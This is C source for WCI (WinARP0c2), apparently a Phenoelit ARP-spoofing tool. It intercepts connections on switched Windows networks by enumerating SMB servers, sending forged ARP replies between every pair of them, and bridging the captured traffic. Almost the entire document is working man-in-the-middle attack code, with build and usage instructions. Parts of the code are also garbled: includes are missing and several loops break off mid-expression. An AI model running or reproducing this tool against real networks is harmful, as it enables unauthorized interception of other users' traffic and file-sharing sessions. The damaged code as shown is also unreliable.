/* WCI - Windoze Connection Interceptor * WinARP0c2 is the Windoze brother of ARP0c2.c * * FX * Phenoelit (http://www.phenoelit.de) * * (c) 2k * * Version (Windoze like not using RCS ...) 2.3, * 7/4/99 (this is our [System]Independence Day !) * * * ``This code includes parts of software developed by the Politecnico * di Torino, and its contributors.'' * * It's unusual for Phenoelit, but greetings go to: * FtR, Ingopin, Bene, Flori, Zet * and especially to Packetstorm's Site Master Alan * Thanx for all your support. * Additional thanx to Hideaki Ihara, who discovered the SetReadTimeout bug. * More thanx to pedrp for reporting the LPPACKET memory leak * * * --------DESCRIPTION---------- * WCI is a simple connection interceptor for switched networks and especially for SMB. * + ARP redirection/spoofing * + automated bridging * + automated routing * + automated connection interception for ALL SMB servers in the local subnet * + network cleanup on exit * * * Details: * ARP requests are replyed by WCI with it's onw Ethernet address. The real * destination is requested with ARP requests or is discovered from other * broadcasst traffic. * Intercepted traffic is bridged to the next hop gateway or the destination * address according to a routing table. * NEW: * On startup, WCI enumerates all resources in the Windows netowking environment (SMB) * and intercepts all possible connections (any2any). * * * REQUIRES: * - Packet Driver Developers Pack (http://netgroup-serv.polito.it/winpcap/) * - Packet Driver installed * * Building on Windoze with VC 6 and the monster cool packet32.lib: * - create a console application workspace * - insert this file in the project * - add path to packet32.h and packet.lib to your settings * - make sure the project links with the following libraries: * mpr.lib wsock32.lib libpcap.lib packet.lib netapi32.lib * * Usage: * FIRST make sure you have the packet driver installed and working. * then: * wci [-v] [-i ] * * When running, press [t] to display all current tables or [q] to exit. * * To use a routing table, supply this in SPACE seperated order in a external * file "routes.txt" in the same directory * * * Example: * 192.168.1.0 255.255.255.0 0.0.0.0 <- first entry should reflect local subnet * 192.168.2.0 255.255.255.0 192.168.1.1 * 0.0.0.0 0.0.0.0 192.168.1.254 * * * To prevent the interception of enumerated Windoze resources, start with -n. * To see a list of interceptable resources, start with -T. * * LAST WORDS: * We are usually not at home in Windoze environments. Sorry for the terrible port. */ #define MAX_INTERCEPTS 2000 #define MAX_ROUTES 64 #define NEXT_PACKETS_TIMEOUT 100 #define INITIAL_PACKETS_TIMEOUT 20 #define ROUTING_FILE "routes.txt" // disable useless conversion warnings #pragma warning (disable:4244) #pragma warning (disable:4305) // Windows includes #include #include #include #include #include #include #include #include // Windows networking includes #include #include #include // pcap-like packet32 driver for windows #include // stuff unknown to Windoze /* Ethernet protocol ID's */ #define ETHERTYPE_IP 0x0800 /* IP */ #define ETHERTYPE_ARP 0x0806 /* Address resolution */ #define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */ #define ETH_ALEN 6 #define IP_ALEN 4 struct ether_addr { char ether_addr_octet[ETH_ALEN]; }; /* 10Mb/s ethernet header */ struct ether_header { char ether_dhost[ETH_ALEN]; /* destination eth addr */ char ether_shost[ETH_ALEN]; /* source ether addr */ __int16 ether_type; /* packet type ID field */ }; /* ARP header */ #define ARPOP_REQUEST 1 /* ARP request. */ #define ARPOP_REPLY 2 /* ARP reply. */ #define ARPOP_RREQUEST 3 /* RARP request. */ #define ARPOP_RREPLY 4 /* RARP reply. */ struct arphdr { unsigned short int ar_hrd; /* Format of hardware address. */ unsigned short int ar_pro; /* Format of protocol address. */ unsigned char ar_hln; /* Length of hardware address. */ unsigned char ar_pln; /* Length of protocol address. */ unsigned short int ar_op; /* ARP opcode (command). */ unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address. */ unsigned char __ar_sip[4]; /* Sender IP address. */ unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address. */ unsigned char __ar_tip[4]; /* Target IP address. */ }; #define IP_ADDR_LEN (sizeof(struct in_addr)) /* IP header */ struct iphdr { u_char ihl:4, /* header length */ version:4; /* version */ u_char tos; /* type of service */ short tot_len; /* total length */ short id; /* identification */ short off; /* fragment offset field */ u_char ttl; /* time to live */ u_char protocol; /* protocol */ short check; /* checksum */ struct in_addr saddr; struct in_addr daddr; /* source and dest address */ }; /************************************************************************* * after teaching Windows networking *************************************************************************/ /* all paket types which are of some interest for us */ #define PKTYPE_UNKNOWN 0 #define PKTYPE_ARP_REQUEST 1 #define PKTYPE_ARP_RESPONSE 2 #define PKTYPE_ETHER_BCAST 3 #define PKTYPE_IP_BCAST 4 #define PKTYPE_IP 5 #define PKTYPE_IP_THISHOST 6 #define PKTYPE_IP_ORIG 7 #define PKTYPE_WINDOZE_IP_TEST 8 #define PKTYPE_ARP_THISHOST 9 #define PKTYPE_ARP_FAKE 10 #define REFRESH_DELAY 5 /* delay between refreshs */ #define REFRESH_INITIAL 5 /* number of initial refreshs */ #define REFRESH_CHECKS 1 /* seconds between checks */ /* types used: target_t - the replacement for agressive attacks on UN*X arptable_t - ARP table routingtable_t - Routing Table refreshtable_t - Refreshing of kaed ARPs */ typedef struct { LPSTR name; struct in_addr ip; void *next; } target_t; typedef struct { struct ether_addr eth; struct in_addr ip; } arptable_t; typedef struct { __int32 network; __int32 netmask; struct in_addr gateway; } routingtable_t; typedef struct { struct ether_addr eth; /* who asked (ethernet) */ struct in_addr requester_ip; /* who asked (IP) */ struct in_addr requested_ip; /* which IP was requested */ time_t t_check; /* last refresh send */ int fresh_flag; /* to signal a new entry */ } refreshtable_t; /* used config */ struct { int verbose; int dontenumerate; int testmode; int device; } cfg; /* global variables - first the tables and corresponding counters*/ target_t *wintargets =NULL; arptable_t arps[MAX_INTERCEPTS]; routingtable_t routes[MAX_ROUTES]; refreshtable_t refs[MAX_INTERCEPTS]; unsigned int arpc,routc,refc; /* global packetlib variables */ LPADAPTER lpAdapter = 0; LPPACKET lpPacket; char *packbuf; /* skeleton packets */ u_char pkt_arp_request[( sizeof(struct ether_header)+sizeof(struct arphdr))]; u_char pkt_arp_response[( sizeof(struct ether_header)+sizeof(struct arphdr))]; /* other globals */ struct in_addr local_bcast; /* prototypes */ void *smalloc(size_t size); /* ARP management */ void get_hwaddr(void); int InitializeARP(void); int arp_add_entry(struct ether_addr *ethadr, struct in_addr *ipadr); struct ether_addr *arp_find_entry(struct in_addr *ipadr); int arp_build_skeletons(void); int arp_rehonnest(void); void enumerated_attack(void); /* ARP network realted */ int send_ethernet_frame(u_char *frame, int frame_length); int arp_request(struct in_addr *ip); int arp_respond(struct ether_addr *sha, struct in_addr *sip, struct in_addr *tip); int arp_refresh(void); /* packet32 related */ int InitializePacketlib(void); void Get_next_packets(void); void Get_initial_packets(void); int identify_ethernet_frame(u_char *frame, int frame_length); /* routing related*/ int routing_read_table(char *filename); struct in_addr *routing_find_gateway(struct in_addr *dip); void bridge_packet(u_char *frame, int frame_length); /* Windows networking and target enumeration */ void AddWintarget(LPNETRESOURCE res); BOOL FAR PASCAL EnumerateFunc(LPNETRESOURCE lpnr); void PrintTestResults(); /* misc */ void usage(char *name); void cleanup(void); void print_tables(void); /************************************************************************ * Main Program ************************************************************************/ int main(int argc, char **argv) { /* for this WSAStartup() shit */ WORD wVersionRequested; WSADATA wsaData; /* usual counter */ int i; int termsignal; memset(&cfg,0,sizeof(cfg)); /* check the command line options */ for (i=1;i:-7\n"); return (-1); } memcpy(&(arps[0].ip),hent->h_addr_list[0],IP_ALEN); arpc=1; if (cfg.verbose) printf("localhost is %s (%s)\n",hostname,inet_ntoa(arps[0].ip)); get_hwaddr(); return 0; } /* adds an entry to the local ARP table if not already in * RETURNS: 0 */ int arp_add_entry(struct ether_addr *ethadr, struct in_addr *ipadr) { int in_list_flag=0; unsigned int i; /* return if maximum */ if (arpc>=MAX_INTERCEPTS) return (-1); for (i=0;iether_type= ethreq->ether_type = htons(ETHERTYPE_ARP); arpresp->ar_hrd= arpreq->ar_hrd= htons(1); arpresp->ar_pro= arpreq->ar_pro= htons(0x0800); arpresp->ar_hln= arpreq->ar_hln= 6; arpresp->ar_pln= arpreq->ar_pln= 4; /* on request, we are the sender and the destination is broadcast */ arpreq->ar_op=htons(ARPOP_REQUEST); memcpy(&(ethreq->ether_shost),&(arps[0].eth),ETH_ALEN); memcpy(&(arpreq->__ar_sha),&(arps[0].eth),ETH_ALEN); memcpy(&(arpreq->__ar_sip),&(arps[0].ip),IP_ADDR_LEN); memcpy(&(ethreq->ether_dhost),ð_bcast,ETH_ALEN); memset(&(arpreq->__ar_tha),0,ETH_ALEN); /* on response, the 'sender' hardware address is me, even on LLC, but the * IP is the requested */ arpresp->ar_op=htons(ARPOP_REPLY); memcpy(&(arpresp->__ar_sha),&(arps[0].eth),ETH_ALEN); memcpy(&(ethresp->ether_shost),&(arps[0].eth),ETH_ALEN); return 0; } /* send's the ethernet frame, * RETURNS 0 on success or -1 on error */ int send_ethernet_frame(u_char *frame, int frame_length) { LPPACKET sendpack; u_char *sendframe; if((sendpack = PacketAllocatePacket())==NULL){ fprintf(stderr,"Error:failed to allocate the LPPACKET structure."); return (-1); } sendframe=(u_char *)smalloc(frame_length); memcpy(sendframe,frame,frame_length); PacketInitPacket(sendpack,sendframe,frame_length); PacketSetNumWrites(lpAdapter,1); if (PacketSendPacket(lpAdapter,sendpack,TRUE)==FALSE) { fprintf(stderr,"PacketSendPacket() failed\n"); return (-1); } GlobalFree(sendframe); /* fix: free the packet structure */ PacketFreePacket(sendpack); return 0; } /* send out an ARP request * RETURNS 0 */ int arp_request(struct in_addr *ip) { struct arphdr *arph; arph=(struct arphdr *)(pkt_arp_request+sizeof(struct ether_header)); memcpy(&(arph->__ar_tip),ip,IP_ADDR_LEN); send_ethernet_frame(pkt_arp_request,sizeof(pkt_arp_request)); return 0; } int arp_respond( /* who (eth) asked, asking IP, requested IP */ struct ether_addr *sha, struct in_addr *sip, struct in_addr *tip) { struct arphdr *arph; struct ether_header *ethh; unsigned int i; int in_list_flag=0; /* if refreshes are in the maximum, return now */ if (refc>=MAX_INTERCEPTS) return (-1); arph=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header)); ethh=(struct ether_header *)pkt_arp_response; memcpy(&(ethh->ether_dhost),sha,ETH_ALEN); memcpy(&(arph->__ar_tha),sha,ETH_ALEN); memcpy(&(arph->__ar_tip),sip,IP_ADDR_LEN); memcpy(&(arph->__ar_sip),tip,IP_ADDR_LEN); send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); printf("ARP response send to %s ",inet_ntoa(*sip)); printf("claiming to be %s\n",inet_ntoa(*tip)); /* look in the refresh list if we already have this combi */ for (i=0;i2) printf("REFRESH (time): to %s (%ld)\n", inet_ntoa(refs[i].requester_ip),time(NULL)); memcpy(&(ethh->ether_dhost),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN); send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); refs[i].t_check=time(NULL); } else if (refs[i].fresh_flag2) printf("REFRESH (new): to %s\n", inet_ntoa(refs[i].requester_ip)); memcpy(&(ethh->ether_dhost),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN); send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); refs[i].t_check=time(NULL); } } return 0; } /* on close, be honnest to the hosts and tell them what you know */ int arp_rehonnest(void) { struct arphdr *arph; struct ether_header *ethh; struct ether_addr *ea; unsigned int i; arph=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header)); ethh=(struct ether_header *)pkt_arp_response; if (cfg.verbose>1) printf("Cleaning up the network ...\n"); for (i=0;iether_dhost),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN); memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN); memcpy(&(arph->__ar_sha),ea,ETH_ALEN); if (cfg.verbose) { printf("Telling %s ",inet_ntoa(refs[i].requester_ip)); printf("that %s is at %02X:%02X:%02X:%02X:%02X:%02X\n", inet_ntoa(refs[i].requested_ip), (unsigned __int8) ea->ether_addr_octet[0], (unsigned __int8) ea->ether_addr_octet[1], (unsigned __int8) ea->ether_addr_octet[2], (unsigned __int8) ea->ether_addr_octet[3], (unsigned __int8) ea->ether_addr_octet[4], (unsigned __int8) ea->ether_addr_octet[5]); } send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response)); } } return 0; } void enumerated_attack(void) { #define INITIAL_TIMER 10 time_t start; target_t *t,*t2; struct ether_addr *ea_t, *ea_t2; t=wintargets; if (cfg.verbose) printf("\nStarting ARP requests for enumerated servers...\n"); start=time(NULL); while ((start+INITIAL_TIMER)>time(NULL)) { /* try the resolving for INITIAL_TIMER seconds */ if (t) { arp_request(&(t->ip)); t=t->next; } Get_initial_packets(); } if (cfg.verbose) printf("Starting enumeration any2any ARP attack ...\n"); t=wintargets; while (t) { /* if we could not ARP-resolve this host, skip it */ if ((ea_t=arp_find_entry(&(t->ip)))==NULL) { t=t->next; continue; } t2=wintargets; while (t2) { /* skip if both hosts are the same */ if (t2==t) { t2=t2->next; continue; } /* if we could not ARP-resolve this host, skip it */ if ((ea_t2=arp_find_entry(&(t2->ip)))==NULL) { t2=t2->next; continue; } arp_respond(ea_t,&(t->ip),&(t2->ip)); arp_respond(ea_t2,&(t2->ip),&(t->ip)); t2=t2->next; } t=t->next; } if (cfg.verbose) printf("Enumeration any2any ARP attack complete\n\n"); } /* packet32 related */ /* RETURNS 0 on success or -1 on error * * This code is ripped off the TestApp.c example program */ int InitializePacketlib(void) { #define Max_Num_Adapter 10 int i; DWORD dwErrorCode; DWORD dwVersion; DWORD dwWindowsMajorVersion; //unicode strings (winnt) WCHAR AdapterName[512]; // string that contains a list of the network adapters WCHAR *temp,*temp1; //ascii strings (win95) char AdapterNamea[512]; // string that contains a list of the network adapters char *tempa,*temp1a; int AdapterNum=0,Open; ULONG AdapterLength; char AdapterList[Max_Num_Adapter][1024]; if ((packbuf=GlobalAlloc(GPTR,512000))==NULL) { fprintf(stderr,"Failed to get the 512k packet buffer\n"); return (-1); } // obtain the name of the adapters installed on this machine AdapterLength=512; if (!cfg.device) printf("Adapters installed:\n"); i=0; // the data returned by PacketGetAdapterNames is different in Win95 and in WinNT. // We have to check the os on which we are running dwVersion=GetVersion(); dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion))); if (!(dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4)) { // Windows NT PacketGetAdapterNames((char *)AdapterName,&AdapterLength); temp=AdapterName; temp1=AdapterName; while ((*temp!='\0')||(*(temp-1)!='\0')) { if (*temp=='\0') { memcpy(AdapterList[i],temp1,(temp-temp1)*2); temp1=temp+1; i++; } temp++; } AdapterNum=i; if (!cfg.device) { for (i=0;iAdapterNum) printf("\nThe number must be smaller than %d",AdapterNum); } while (Open>AdapterNum); } else if ((Open=cfg.device)>AdapterNum) { fprintf(stderr,"This adapter number is out of range\nValid are:\n"); for (i=0;ihFile == INVALID_HANDLE_VALUE)) { dwErrorCode=GetLastError(); printf("Unable to open the driver, Error Code : %lx\n",dwErrorCode); return(-1); } // set the network adapter in promiscuous mode PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS); // set a 512K buffer in the driver PacketSetBuff(lpAdapter,512000); //allocate and initialize a packet structure that will be used to //receive the packets. if((lpPacket = PacketAllocatePacket())==NULL){ fprintf(stderr,"Failed to allocate the LPPACKET structure (init).\n"); return (-1); } PacketInitPacket(lpPacket,(char*)packbuf,512000); if (cfg.verbose) printf("Adapter %s open\n",AdapterList[Open-1]); return (0); } /* reads the next packets form the wire (system buffer) * and handles them * NOTE: this is the function for the main loop. Initial ARP * discovery is done in a different function (Get_initial_packets()). * This behavior is not really cool, but makes the code * more readable. */ void Get_next_packets(void) { /* pointer */ struct bpf_hdr *cf; char *frptr,*rawframe; /* for packets in buffer calculation (from TestApp.c) */ unsigned long ulBytesReceived; unsigned int off=0; unsigned int tlen1; /* for the function calls */ struct ether_header *ethh; struct iphdr *iph; struct arphdr *arph; if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==FALSE){ printf("Error: PacketReceivePacket failed"); return; } if ((!lpPacket)||((ulBytesReceived=lpPacket->ulBytesReceived)==0)) return; frptr = lpPacket->Buffer; off=0; while(offbh_datalen; off+=cf->bh_hdrlen; rawframe =(char*)(frptr+off); off=Packet_WORDALIGN(off+tlen1); ethh=(struct ether_header *)rawframe; arph=(struct arphdr *)(rawframe+sizeof(struct ether_header)); iph=(struct iphdr *)(rawframe+sizeof(struct ether_header)); /* now, rawframe should contain the real packet */ switch (identify_ethernet_frame(rawframe,cf->bh_caplen)) { case PKTYPE_UNKNOWN: /* we don't know it */ if (cfg.verbose>1) printf("received an unknown packet type\n"); break; case PKTYPE_ARP_REQUEST: if (cfg.verbose>1) printf("ARP request received\n"); /* send the faked reply */ arp_respond( (struct ether_addr *)&arph->__ar_sha, (struct in_addr *)&arph->__ar_sip, (struct in_addr *)arph->__ar_tip); /* add the sender to out ARP list */ arp_add_entry( (struct ether_addr *)&(arph->__ar_sha), (struct in_addr *)&(arph->__ar_sip)); /* request the real target hw addr */ arp_request((struct in_addr *)&(arph->__ar_tip)); break; case PKTYPE_ARP_RESPONSE: if (cfg.verbose>1) printf("ARP response received\n"); arp_add_entry( (struct ether_addr *)&(arph->__ar_sha), (struct in_addr *)&(arph->__ar_sip)); break; case PKTYPE_ETHER_BCAST: if (cfg.verbose>1) printf("Ethernet broadcast received\n"); break; case PKTYPE_IP_BCAST: if (cfg.verbose>1) printf("IP broadcast received\n"); arp_add_entry( (struct ether_addr *)&(ethh->ether_shost), (struct in_addr *)&(iph->saddr)); break; case PKTYPE_IP: if (cfg.verbose>1) printf("Intercepted IP packet received\n"); bridge_packet(rawframe,cf->bh_caplen); break; case PKTYPE_IP_THISHOST: if (cfg.verbose>1) printf("IP packet from/to this host received\n"); break; case PKTYPE_ARP_THISHOST: if (cfg.verbose>1) printf("ARP request from this host received\n"); break; case PKTYPE_IP_ORIG: if (cfg.verbose>1) printf("Unintercepted IP packet received\n"); break; case PKTYPE_ARP_FAKE: if (cfg.verbose>1) printf("Fake ARP response packet from this host\n"); break; default: if (cfg.verbose>1) printf("packet identification failed\n"); } // end of switch } // end of while loop, which processes the packets in one buffer } void Get_initial_packets(void) { /* pointer */ struct bpf_hdr *cf; char *frptr,*rawframe; /* for packets in buffer calculation (from TestApp.c) */ unsigned long ulBytesReceived; unsigned int off=0; unsigned int tlen1; /* for the function calls */ struct ether_header *ethh; struct iphdr *iph; struct arphdr *arph; if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==FALSE){ printf("Error: PacketReceivePacket failed"); return; } if ((!lpPacket)||((ulBytesReceived=lpPacket->ulBytesReceived)==0)) return; frptr = lpPacket->Buffer; off=0; while(offbh_datalen; off+=cf->bh_hdrlen; rawframe =(char*)(frptr+off); off=Packet_WORDALIGN(off+tlen1); ethh=(struct ether_header *)rawframe; arph=(struct arphdr *)(rawframe+sizeof(struct ether_header)); iph=(struct iphdr *)(rawframe+sizeof(struct ether_header)); /* now, rawframe should contain the real packet */ switch (identify_ethernet_frame(rawframe,cf->bh_caplen)) { case PKTYPE_UNKNOWN: /* we don't know it */ if (cfg.verbose>1) printf("received an unknown packet type\n"); break; case PKTYPE_ARP_RESPONSE: if (cfg.verbose>1) printf("ARP response received\n"); arp_add_entry( (struct ether_addr *)&(arph->__ar_sha), (struct in_addr *)&(arph->__ar_sip)); break; case PKTYPE_ETHER_BCAST: if (cfg.verbose>1) printf("Ethernet broadcast received\n"); break; case PKTYPE_IP_BCAST: if (cfg.verbose>1) printf("IP broadcast received\n"); arp_add_entry( (struct ether_addr *)&(ethh->ether_shost), (struct in_addr *)&(iph->saddr)); break; } // end of switch } // end of while loop, which processes the packets in one buffer } /* tries to identify an Ehternet frame * RETURNS one of PKTYPE_* */ int identify_ethernet_frame(u_char *frame, int frame_length) { struct ether_header *eth; struct iphdr *ip; struct arphdr *arp; u_char eth_bcast[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; eth=(struct ether_header *)frame; if (ntohs(eth->ether_type)==ETHERTYPE_ARP) { /* it is an ARP packet */ arp=(struct arphdr *)(frame+sizeof(struct ether_header)); if (ntohs(arp->ar_op)==ARPOP_REQUEST) { /* this is a request */ if (!memcmp(&(arp->__ar_sha),&(arps[0].eth),ETH_ALEN)) { /* it's me asking for ARP .. ups */ return PKTYPE_ARP_THISHOST; } else if (!memcmp(&(arp->__ar_sip),&(arp->__ar_tip),IP_ADDR_LEN)) { /* Windoze IP availability test */ return PKTYPE_WINDOZE_IP_TEST; } else { /* normal interceptable ARP request */ return PKTYPE_ARP_REQUEST; } } else if (ntohs(arp->ar_op)==ARPOP_REPLY) { if (!memcmp(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN)) { /* ARP response from tis host - guess it's a fake */ return PKTYPE_ARP_FAKE; } else { /* this is a response */ return PKTYPE_ARP_RESPONSE; } } else { /* RARP not yet implemented */ printf("Unknown ARP operation\n"); return PKTYPE_UNKNOWN; } } else if (ntohs(eth->ether_type)==ETHERTYPE_IP) { /* at least it is IP */ ip=(struct iphdr *)(frame+sizeof(struct ether_header)); if (!memcmp(&(ip->daddr),&local_bcast,IP_ADDR_LEN)) { /* it's a broadcast */ return PKTYPE_IP_BCAST; } else if ( (!memcmp(&(ip->daddr),&(arps[0].ip),IP_ADDR_LEN)) ||(!memcmp(&(ip->saddr),&(arps[0].ip),IP_ADDR_LEN)) ) { /* it's my host speeking on layer 3 */ return PKTYPE_IP_THISHOST; } else if (!(memcmp(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN))) { /* it's a packet send from me ... */ return PKTYPE_IP_THISHOST; } else if ( (memcmp(eth->ether_dhost,&(arps[0].eth),ETH_ALEN)) &&(memcmp(eth->ether_shost,&(arps[0].eth),ETH_ALEN)) ){ /* it's a normal IP packet not from or to me */ return PKTYPE_IP_ORIG; } else { /* it must be an intercepted IP packet */ return PKTYPE_IP; } } else if (!memcmp(eth->ether_dhost,ð_bcast,ETH_ALEN)) { /* some kind of ethernet broadcast - may be usefull */ return PKTYPE_ETHER_BCAST; } else { /* this is strange */ return PKTYPE_UNKNOWN; } } /* ROUTING RELATED */ /* routing_read_table(..) reads a routing table form the file supplied as * filename and stores this table in routes[..] * file format: * DD\n * where D is the DELIMITER defined here * NOTE: entry 0 in routes[..] is filled in here (unlike the UN*X version)! * NOTE: When will windows coders learn what the hell a inet_ntoa is ??? * RETURNS: 0 on success or -1 on error */ int routing_read_table(char *filename) { #define MAX_LINE_LENGTH 512 #define DELIMITER ' ' FILE *fd; char *line,*lp,*lp2; /* string manipulation pointer */ int loc_routc=0; /* local routc variable */ __int32 validation; /* test for localnet route */ __int32 bcast; if ((fd=fopen(filename,"rt"))==NULL) { fprintf(stderr,"Could not open routing file\n"); return (-1); } line=(char *)smalloc(MAX_LINE_LENGTH); while (fgets(line,MAX_LINE_LENGTH-1,fd)!=NULL) { /* comment's are ignored */ if (line[0]=='#') continue; if (loc_routc>=MAX_ROUTES) continue; /* get network address */ if ((lp=strchr(line,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing table file\n"); return (-1); } lp[0]='\0'; lp++; routes[loc_routc].network=inet_addr(line); /* get the netmask */ if ((lp2=strchr(lp,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing table file\n"); return (-1); } lp2[0]='\0'; lp2++; routes[loc_routc].netmask=inet_addr(lp); /* get gateway */ routes[loc_routc].gateway.S_un.S_addr=inet_addr(lp2); memset(line,0,MAX_LINE_LENGTH); loc_routc++; } fclose(fd); routc=loc_routc; /* OK, let's check if the user had a look in the docu */ memcpy(&validation,&(arps[0].ip),IP_ALEN); if ((validation&routes[0].netmask)!=routes[0].network) { fprintf(stderr,"Well, the FIRST entry in the routing" " table should reflect exactly the local net!\n"); return (-1); } /* and, before returning, we set up the local_bcast */ bcast=routes[0].network|(0xFFFFFFFF^routes[0].netmask); memcpy(&local_bcast,&bcast,IP_ALEN); return 0; } /* looks for a routing entry in the table and returns a pointer to * the gateway or NULL if local or unknown */ struct in_addr *routing_find_gateway(struct in_addr *dip) { __int32 dnet; unsigned int i; char no_gw[4] = { 0,0,0,0 }; memcpy(&dnet,dip,IP_ADDR_LEN); for (i=0;idaddr)))==NULL) { /* local packet or gateway unknown */ if ((ea=arp_find_entry(&(ip->daddr)))==NULL) { /* hw addr unknown - send ARP request and drop this packet */ arp_request(&(ip->daddr)); return; } /* hw addr known .. continue */ } else { /* routed with gateway gw .. */ if ((ea=arp_find_entry(gw))==NULL) { /* hw addr of gateway unknown - request and drop */ arp_request(gw); return; } /* hw addr known ... continue */ } if (cfg.verbose) { printf("-- bridge: %s",inet_ntoa(ip->daddr)); printf(" to %02X:%02X:%02X:%02X:%02X:%02X\n", (unsigned __int8) ea->ether_addr_octet[0], (unsigned __int8) ea->ether_addr_octet[1], (unsigned __int8) ea->ether_addr_octet[2], (unsigned __int8) ea->ether_addr_octet[3], (unsigned __int8) ea->ether_addr_octet[4], (unsigned __int8) ea->ether_addr_octet[5]); } sendbuf=(u_char *)smalloc(frame_length); memcpy(sendbuf,frame,frame_length); eth=(struct ether_header *)sendbuf; /* replace ethernet frame destination address and send it out ! */ memcpy(&(eth->ether_dhost),ea,ETH_ALEN); /* TEST: replace sender addr as well */ memcpy(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN); send_ethernet_frame(sendbuf,frame_length); if (cfg.verbose) { printf("-- bridged -- %s",inet_ntoa(ip->saddr)); printf(" -> %s\n",inet_ntoa(ip->daddr)); } GlobalFree(sendbuf); } /* Windows networking and target enumeration */ void AddWintarget(LPNETRESOURCE res) { target_t *nw; /* new entry in target list */ char *tstr; struct hostent *hent; struct in_addr temp; /* for routing test */ if ( (res->dwDisplayType==RESOURCEDISPLAYTYPE_SERVER) &&(res->lpRemoteName!=NULL) &&(strlen(res->lpRemoteName)>2) ) { /* skip over these \\ */ tstr=&(res->lpRemoteName[2]); /* OK, we got a server name, let's try to resolve it */ if ((hent=gethostbyname(tstr))==NULL) { fprintf(stderr,"Arg! Could not resolve server %s. Not running IP?\n",tstr); return; } if (hent->h_addrtype!=PF_INET) { fprintf(stderr,"Host %s resolved to something strange\n",tstr); return; } /* check for myself */ if (!memcmp(&(arps[0].ip),hent->h_addr_list[0],IP_ALEN)) return; /* remove all enumerated servers, which are not part of our subnet * NOTE: This can be improved, but it would require exact knowledge of the * Gateway used by local hosts. */ memcpy(&temp,hent->h_addr_list[0],hent->h_length); if (routing_find_gateway(&temp)!=NULL) { if (cfg.verbose) printf("Server %s is not part of our subnet.\n",tstr); return; } if (wintargets) { nw=wintargets; while (nw->next!=NULL) nw=nw->next; nw->next=(target_t *)GlobalAlloc(GPTR,sizeof(target_t)); nw=nw->next; } else { wintargets=(target_t *)GlobalAlloc(GPTR,sizeof(target_t)); nw=wintargets; } nw->name=(char *)GlobalAlloc(GPTR,strlen(tstr)); strcpy(nw->name,tstr); memcpy(&(nw->ip),hent->h_addr_list[0],hent->h_length); if (cfg.verbose) printf("New remote server: %s (%s)\n",nw->name,inet_ntoa(nw->ip)); } // resource is server and is usefull } /* This function is the recursive search for hosts in the windows network It is actually grabbed from VC4's online help - may be it's bullshit */ BOOL FAR PASCAL EnumerateFunc(LPNETRESOURCE lpnr) { DWORD dwResult, dwResultEnum; HANDLE hEnum; DWORD cbBuffer = 16384; /* 16K is reasonable size */ DWORD cEntries = 0xFFFFFFFF; /* enumerate all possible entries */ LPNETRESOURCE lpnrLocal; /* pointer to enumerated structures */ DWORD i; dwResult = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, /* enumerate all resources */ lpnr, /* NULL first time this function is called */ &hEnum); /* handle to resource */ if (dwResult != NO_ERROR) { return FALSE; } do { /* Allocate memory for NETRESOURCE structures. */ lpnrLocal = (LPNETRESOURCE) GlobalAlloc(GPTR, cbBuffer); dwResultEnum = WNetEnumResource(hEnum, /* resource handle */ &cEntries, /* defined locally as 0xFFFFFFFF */ lpnrLocal, /* LPNETRESOURCE */ &cbBuffer); /* buffer size */ if (dwResultEnum == NO_ERROR) { for(i = 0; i < cEntries; i++) { if(RESOURCEUSAGE_CONTAINER == (lpnrLocal[i].dwUsage & RESOURCEUSAGE_CONTAINER)) { /* it is a container - go recuresive */ EnumerateFunc(&lpnrLocal[i]); } AddWintarget(&lpnrLocal[i]); } } else if (dwResultEnum != ERROR_NO_MORE_ITEMS) { break; } } while(dwResultEnum != ERROR_NO_MORE_ITEMS); GlobalFree((HGLOBAL) lpnrLocal); dwResult = WNetCloseEnum(hEnum); if(dwResult != NO_ERROR) { return FALSE; } return TRUE; } void PrintTestResults() { target_t *t; unsigned int l=0; printf("Windoze network shows the following targets:\n"); t=wintargets; while (t) { printf("%s\t(%s)\n",t->name,inet_ntoa(t->ip)); t=t->next; l++; } printf("This would result in %d connection interceptions\n",l*(l-1)); exit(0); } /* misc */ void cleanup() { target_t *t; arp_rehonnest(); PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter); while (wintargets) { t=wintargets; wintargets=wintargets->next; GlobalFree(t); } WSACleanup(); } void usage(char *name) { printf("usage: %s [-v] [-n|-T] [-i ]\n",name); printf("Where:\n" "-v\tverbose (use more for more verbosity, e.g. -v -v -v)\n" "-n\tdon't enumerate Windoze network resources\n" "-T\tTestmode; just show the Windoze chicken\n" "-i\tinterface (the number you enter when starting without -i)\n"); exit(1); } void print_tables(void) { struct in_addr temp; unsigned 